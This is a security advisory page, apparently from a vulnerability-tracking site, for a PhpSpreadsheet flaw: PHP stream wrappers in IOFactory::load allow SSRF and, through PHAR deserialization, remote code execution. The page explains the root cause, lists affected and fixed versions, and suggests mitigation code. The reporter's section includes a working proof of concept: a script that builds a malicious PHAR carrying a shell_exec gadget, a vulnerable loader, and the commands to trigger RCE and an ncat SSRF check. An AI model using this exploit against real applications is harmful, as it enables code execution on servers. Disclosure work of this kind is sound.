CVE-2026-34084: PhpSpreadsheet SSRF and RCE via PHP stream wrappers in IOFactory::load

Published Apr 29, 2026
·
Updated

PhpSpreadsheet is a library for reading and writing spreadsheet files. In versions 1.30.2 and earlier, 2.0.0 through 2.1.14, 2.2.0 through 2.4.3, 3.3.0 through 3.10.3, and 4.0.0 through 5.5.0, when the filename argument to IOFactory::load() is user-controlled, an attacker can supply a PHP stream wrapper path (such as phar://, ftp://, or ssh2.sftp://) that passes the isfile() check in File::assertFile(). The phar:// wrapper triggers deserialization of the PHAR metadata, which can lead to remote code execution if a suitable gadget chain is available in the application. The ftp:// and ssh2.sftp:// wrappers can be used for server-side request forgery. This issue has been fixed in versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.

Other sources

The usage of isfile, used to verify if the $filename is indeed an actual file, by all(?) Reader implementations (inside the helper function File::assertFile) is php-wrapper aware, for any php wrappers implementing stat(). The 3 wrappers ftp://, phar:// and ssh2.sftp://, all satisfy this requirement - 2 of which are shown in the PoC below.

This results in a SSRF, at "best", and RCE at worse.

This was tested against the latest release - but the issue seems to go back a while from a first quick check (still present in v1.30.2).

PoC To reproduce the vulnerable behavior, the following scripts were used:

php.ini file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library: ini phar.readonly=0

makephar.php to create the malicious file: php <?php // php -c php.ini makephar.php class GadgetClass { public $data; function construct($d) { $this->data = $d; } function destruct() { shellexec($this->data); } }

$pop = new GadgetClass('touch /tmp/poc.txt');

$phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php HALTCOMPILER(); ?>'); $phar->addFromString('whatever', 'dummy content'); $phar->setMetadata($pop); $phar->stopBuffering();

rename('exploit.phar', 'exploit.xlsx'); // optional echo "exploit.xlsx created \n";

test.php showcases the unsafe pattern: php <?php require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

class GadgetClass { public $data; function construct($d) { $this->data = $d; } function destruct() { shellexec($this->data); } }

$filename = $argv[1] ?? null;

if (!$filename) { echo "Usage: php test.php <path>\n"; echo " e.g. php test.php phar://exploit.xlsx/whatever\n"; exit(1); }

echo "Calling IOFactory::load('" . $filename . "')\n";

try { $spreadsheet = IOFactory::load($filename); vardump($spreadsheet); } catch (Throwable $e) { echo "Vuln has still triggered even if exception triggers.\n"; }

RCE Run the PoC (for RCE): bash php -c php.ini makephar.php && php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt The file /tmp/poc.txt should now be present on disk. > Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could "silently" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead.

SSRF Run the PoC (for SSRF): bash ncat -lvp 21 #run on another terminal php test.php ftp://127.0.0.1:21/test

Observe a connection is made to 127.0.0.1 on port 21.

Root Cause Analysis

Following the API exposed by the library, using IOFactory::load, the code proceeds as follows: php IOFactory::load($filename) -> IReader::load($filename, $flags) -> IReader::loadSpreadsheetFromFile($filename) -> File::assertFile($filename, ...) -> isfile($filename);

The one obvious gadget that was found is guarded via unserialize (or wakeup in older versions) in the XMLWriter class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create "POP" gadget chains via other classes which may be available in real-world deployment scenarios.

php public function destruct() { // Unlink temporary files // There is nothing reasonable to do if unlink fails. if ($this->tempFileName != '') { @unlink($this->tempFileName); } }

/ @param mixed[] $data / public function unserialize(array $data): void { $this->tempFileName = '';

throw new SpreadsheetException('Unserialize not permitted'); }

Phpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from packagist like maatwebsite/excel for Laravel, sonata-project/exporter and so on, hence the deserialization vector stays relevant in other contexts.

Suggested mitigations

Use isfile only after making sure the filename does not contain any php wrapper: php $scheme = parseurl($filename, PHPURLSCHEME); // strlen check > 1 to avoid issues with Windows absolute paths (e.g. C:\...), Windows quirks :) // since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge if ($scheme !== null && strlen($scheme) > 1) { throw new \PhpOffice\PhpSpreadsheet\Exception( "Stream wrappers are not permitted as file paths: {$filename}" ); }

or perhaps even just passing it to realpath before calling isfile to ensure it is parsed correctly: php $real = realpath($filename); // not php wrapper aware AFAIK if ($real === false) { throw new \PhpOffice\PhpSpreadsheet\Exception("Invalid file path: {$filename}"); }

// from here on, $real should be a clean absolute path so we can pass it to isfile() if (!isfile($real)) { throw new ... }

> Note: streamislocal() would also not be safe here — as it considers phar:// to be local and would not block it.

GitHub

Affected Software

10 affected componentsFixes available
composer/phpoffice/phpspreadsheet<=1.30.2
1.30.3
composer/phpoffice/phpspreadsheet>=2.0.0<=2.1.14
2.1.15
composer/phpoffice/phpspreadsheet>=2.2.0<=2.4.3
2.4.4
composer/phpoffice/phpspreadsheet>=3.3.0<=3.10.3
3.10.4
composer/phpoffice/phpspreadsheet>=4.0.0<=5.5.0
5.6.0
PHPOffice phpspreadsheet<1.30.3
PHPOffice phpspreadsheet>=2.0.0<2.1.15
PHPOffice phpspreadsheet>=2.2.0<2.4.4
PHPOffice phpspreadsheet>=3.3.0<3.10.4
PHPOffice phpspreadsheet>=4.0.0<5.6.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 1.30.3
  2. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.1.15
  3. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 2.4.4
  4. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 3.10.4
  5. Upgrade

    Upgrade composer/phpoffice/phpspreadsheet to a version that resolves this vulnerability.

    Fixed in 5.6.0
  6. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.30.3
  7. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.1.15
  8. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.4.4
  9. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 3.10.4
  10. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 5.6.0

Event History

Apr 29, 2026
Advisory Published
via GitHub·08:22 PM
Data Sourced
via GitHub·08:22 PM
DescriptionWeaknessAffected Software
May 5, 2026
CVE Published
via MITRE·07:22 PM
Data Sourced
via MITRE·07:22 PM
DescriptionWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-34084?

The severity of CVE-2026-34084 is classified as medium due to potential file access vulnerabilities depending on the environment.

2

How do I fix CVE-2026-34084?

To fix CVE-2026-34084, upgrade to phpSpreadsheet versions 1.30.3, 2.1.15, 2.4.4, 3.10.4, or 5.6.0, depending on your current version.

3

Which versions are affected by CVE-2026-34084?

CVE-2026-34084 affects phpSpreadsheet versions prior to 1.30.3, 2.1.15, 2.4.4, 3.10.4, and 5.6.0.

4

What components of phpSpreadsheet are impacted by CVE-2026-34084?

CVE-2026-34084 impacts the Reader implementations within the helper function File::assertFile used for file verification.

5

Is CVE-2026-34084 an exploit in phpSpreadsheet?

CVE-2026-34084 is not an exploit itself but a vulnerability that could allow unauthorized file access when incorrectly implemented.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203